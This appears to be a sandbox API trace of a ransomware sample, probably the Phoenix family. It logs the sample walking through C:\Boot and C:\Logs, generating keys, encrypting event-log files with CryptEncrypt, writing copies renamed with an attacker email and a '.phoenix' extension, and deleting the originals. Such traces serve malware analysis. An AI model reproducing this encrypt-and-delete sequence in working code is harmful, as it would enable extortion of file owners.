	[0218.901] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.902] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0218.902] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0218.902] Wow64DisableWow64FsRedirection (in: OldValue=0x2e0fe0c | out: OldValue=0x2e0fe0c*=0x0) returned 1
	[0218.902] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f48 | out: hHeap=0x680000) returned 1
	[0218.902] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.373] ResetEvent (hEvent=0x27c) returned 1
	[0219.373] SetEvent (hEvent=0x280) returned 1
	[0219.373] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.373] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.373] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.375] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.375] ResetEvent (hEvent=0x27c) returned 1
	[0219.375] SetEvent (hEvent=0x280) returned 1
	[0219.375] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.375] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0219.375] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0219.375] CloseHandle (hObject=0x294) returned 1
	[0219.375] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.376] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.377] ResetEvent (hEvent=0x27c) returned 1
	[0219.377] SetEvent (hEvent=0x280) returned 1
	[0219.377] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0219.378] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=95648) returned 1
	[0219.378] CloseHandle (hObject=0x294) returned 1
	[0219.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0219.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.378] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.378] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.379] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.380] ResetEvent (hEvent=0x27c) returned 1
	[0219.380] SetEvent (hEvent=0x280) returned 1
	[0219.380] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.380] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.380] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=76632) returned 1
	[0219.380] CloseHandle (hObject=0x2b8) returned 1
	[0219.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0219.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.380] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.380] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.382] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.382] ResetEvent (hEvent=0x27c) returned 1
	[0219.382] SetEvent (hEvent=0x280) returned 1
	[0219.382] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.382] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.382] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=75616) returned 1
	[0219.382] CloseHandle (hObject=0x2b8) returned 1
	[0219.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0219.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.382] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.382] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.384] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.384] ResetEvent (hEvent=0x27c) returned 1
	[0219.384] SetEvent (hEvent=0x280) returned 1
	[0219.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.384] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.384] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=79200) returned 1
	[0219.384] CloseHandle (hObject=0x2b8) returned 1
	[0219.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0219.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.384] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.385] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.386] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.386] ResetEvent (hEvent=0x27c) returned 1
	[0219.386] SetEvent (hEvent=0x280) returned 1
	[0219.386] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.386] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.386] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=80224) returned 1
	[0219.386] CloseHandle (hObject=0x2b8) returned 1
	[0219.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0219.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.386] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.387] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.388] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.388] ResetEvent (hEvent=0x27c) returned 1
	[0219.388] SetEvent (hEvent=0x280) returned 1
	[0219.388] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.388] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.388] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=74072) returned 1
	[0219.388] CloseHandle (hObject=0x2b8) returned 1
	[0219.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20
	[0219.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.389] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.389] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.390] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.390] ResetEvent (hEvent=0x27c) returned 1
	[0219.390] SetEvent (hEvent=0x280) returned 1
	[0219.390] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.390] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.390] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=44960) returned 1
	[0219.391] CloseHandle (hObject=0x2b8) returned 1
	[0219.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0219.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.391] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.391] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.392] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.392] ResetEvent (hEvent=0x27c) returned 1
	[0219.392] SetEvent (hEvent=0x280) returned 1
	[0219.392] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.392] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.393] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=45984) returned 1
	[0219.393] CloseHandle (hObject=0x2b8) returned 1
	[0219.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20
	[0219.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.393] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.393] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.394] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.394] ResetEvent (hEvent=0x27c) returned 1
	[0219.394] SetEvent (hEvent=0x280) returned 1
	[0219.395] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.395] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=75104) returned 1
	[0219.395] CloseHandle (hObject=0x2b8) returned 1
	[0219.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20
	[0219.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.395] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.396] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.397] ResetEvent (hEvent=0x27c) returned 1
	[0219.397] SetEvent (hEvent=0x280) returned 1
	[0219.397] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.397] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.397] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=45472) returned 1
	[0219.397] CloseHandle (hObject=0x2b8) returned 1
	[0219.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20
	[0219.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.397] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.397] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.525] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.525] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.525] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.525] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0219.528] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0219.528] CloseHandle (hObject=0x2c4) returned 1
	[0219.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0219.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.528] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0219.528] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0219.529] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0219.529] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0219.529] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1393a0) returned 1
	[0219.529] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0219.529] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0219.546] CryptEncrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0219.547] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0219.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x138de0) returned 1
	[0219.548] CryptSetKeyParam (hKey=0x138de0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0219.548] CryptEncrypt (in: hKey=0x138de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0219.549] CryptDestroyKey (hKey=0x138de0) returned 1
	[0219.549] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0219.549] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0219.549] CloseHandle (hObject=0x2c4) returned 1
	[0219.549] CloseHandle (hObject=0x2c8) returned 1
	[0219.551] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1
	[0219.553] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0219.553] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0219.558] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1118208) returned 1
	[0219.558] CloseHandle (hObject=0x2c8) returned 1
	[0219.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0219.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.561] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0219.561] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0219.562] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0219.562] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0219.562] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1393a0) returned 1
	[0219.562] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0219.562] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x110100, lpOverlapped=0x0) returned 1
